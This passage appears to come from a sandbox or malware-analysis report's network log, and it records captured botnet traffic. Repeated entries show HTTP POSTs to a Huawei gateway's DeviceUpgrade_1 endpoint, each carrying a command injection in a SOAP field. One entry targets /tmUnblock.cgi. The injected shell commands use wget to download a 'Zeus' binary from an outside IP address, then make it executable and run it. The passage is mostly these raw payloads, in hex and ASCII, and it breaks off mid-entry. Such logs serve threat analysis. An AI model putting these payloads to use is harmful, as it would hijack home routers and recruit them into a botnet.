55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /tmUnblock.cgi cd /tmp; rm -rf Zeus.mpsl; wget http://107.172.157.131/bins/Zeus.mpsl; chmod 777 *;./Zeus.mpsl Zeus.asuData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 37 2e 31 37 32 2e 31 35 37 2e 31 33 31 20 2d 6c 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 2d 72 20 2f 62 69 6e 73 2f 5a 65 75 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 5a 65 75 73 3b 20 2f 74 6d 70 2f 2e 5a 65 75 73 20 5a 65 75 73 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.172.157.131 -l /tmp/.Zeus -r /bins/Zeus.mips; /bin/busybox chmod 777 * /tmp/.Zeus; /tmp/.Zeus Zeus.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 